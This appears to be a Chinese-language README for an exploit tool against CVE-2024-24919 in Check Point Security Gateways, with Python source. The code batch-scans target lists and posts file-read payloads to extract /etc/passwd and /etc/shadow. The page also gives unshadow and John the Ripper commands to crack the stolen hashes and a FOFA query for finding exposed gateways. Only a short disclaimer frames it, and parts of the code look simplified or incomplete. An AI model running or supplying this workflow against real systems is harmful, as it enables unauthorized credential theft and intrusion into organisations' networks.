Check Point Security Gateways Information Disclosure - CVE-2024-24919
一个用于检测和利用CVE-2024-24919漏洞的安全测试工具,该漏洞影响启用了Remote Access VPN或Mobile Access Software Blades的Check Point安全网关。
功能特性
- 漏洞检测:自动检测目标是否存在CVE-2024-24919信息泄露漏洞
- 敏感信息提取:成功利用后可读取系统的passwd和shadow文件
- 批量扫描:支持从文件中读取多个目标进行批量检测
- 密码破解集成:提供与JohnTheRipper工具的集成示例,可破解提取的密码哈希
- SSL绕过:自动处理SSL证书验证问题
安装指南
系统要求
- Python 3.6+
- pip包管理器
依赖安装
pip install requests colorama
克隆仓库
git clone https://github.com/verylazytech/CVE-2024-24919
cd CVE-2024-24919
使用说明
基础用法
- 准备目标列表:创建
list.txt文件,每行一个目标URL
https://192.168.1.1
https://203.0.113.5
- 运行检测脚本
python3 CVE-2024-24919.py -l list.txt
典型工作流程
- 扫描目标:脚本会检测每个目标是否存在漏洞
- 提取文件:成功利用后自动保存passwd和shadow文件
- 合并文件:使用unshadow工具合并文件
unshadow passwd shadow > unshadowed.txt
- 破解密码:使用JohnTheRipper破解哈希
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
目标发现
使用FOFA搜索引擎查找潜在目标:
- FOFA语法:
app="Check_Point-SSL-Network-Extender"
输出说明
- 成功:显示漏洞确认信息,保存提取的文件
- 失败:显示目标未受影响或无法利用
核心代码
漏洞检测核心模块
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import Fore, Style
import random
# 颜色配置
green = Fore.GREEN
cyan = Fore.CYAN
red = Fore.RED
reset = Style.RESET_ALL
bold = Style.BRIGHT
# 抑制SSL警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 漏洞特征字符串
vuln = ['root:', 'nobody:']
def banner():
"""显示工具横幅"""
random_color = random.choice([green, cyan, Fore.BLUE])
banner_text = f"""{bold}{random_color}
______ _______ ____ ___ ____ _ _ ____ _ _ ___ _ ___
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \| || | / _ \/ |/ _ \
| | \ \ / /| _| __) | | | |__) | || |_ _____ __) | || || (_) | | (_) |
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____/ __/|__ _\__, | |\__, |
\____| \_/ |_____| |_____|\___/_____| |_| |_____| |_| /_/|_| /_/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
{bold}{Fore.WHITE}@VeryLazyTech - Medium {reset}\n"""
return banner_text
请求发送函数
def make_request(url, payload=None, headers=None):
"""
向目标发送HTTP请求
参数:
url: 目标URL
payload: POST请求的数据
headers: 自定义请求头
返回:
Response对象或None
"""
try:
response = requests.post(url, data=payload, headers=headers, verify=False)
if response.ok:
# 检查响应中是否包含漏洞特征
for word in vuln:
if word in response.text:
print(f"[+] {url} is vulnerable")
# 处理提取到的敏感信息
if payload:
if "etc/shadow" in str(payload):
# 保存shadow文件内容
with open("shadow", "w") as f:
f.write(response.text)
return response
return None
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
主程序逻辑
def main():
parser = argparse.ArgumentParser(description='CVE-2024-24919 Check Point Security Gateways Exploit')
parser.add_argument('-l', '--list', help='File containing list of targets')
parser.add_argument('-u', '--url', help='Single target URL')
args = parser.parse_args()
targets = []
if args.list:
with open(args.list, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
elif args.url:
targets = [args.url]
else:
print("[-] Please provide a target using -u or -l")
return
print(banner())
print(f"[*] Loaded {len(targets)} targets")
for target in targets:
print(f"\n[*] Testing: {target}")
# 构造漏洞利用payload
payload = {
'file': '/etc/passwd'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
result = make_request(target, payload, headers)
if result:
print(f"[+] Successfully exploited {target}")
# 尝试读取shadow文件
shadow_payload = {
'file': '/etc/shadow'
}
make_request(target, shadow_payload, headers)
密码破解集成
# 合并passwd和shadow文件
unshadow passwd shadow > unshadowed.txt
# 使用JohnTheRipper破解
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
# 查看破解结果
john --show unshadowed.txt
注意事项
- 本工具仅用于教育和授权测试目的
- 未经授权使用本工具攻击目标属于违法行为
- 使用者需遵守所有适用的法律法规
- 开发者不对工具的滥用或造成的任何损害承担责任 6HFtX5dABrKlqXeO5PUv/3wRaoBMT8UmylM/Kt8Y0Bk=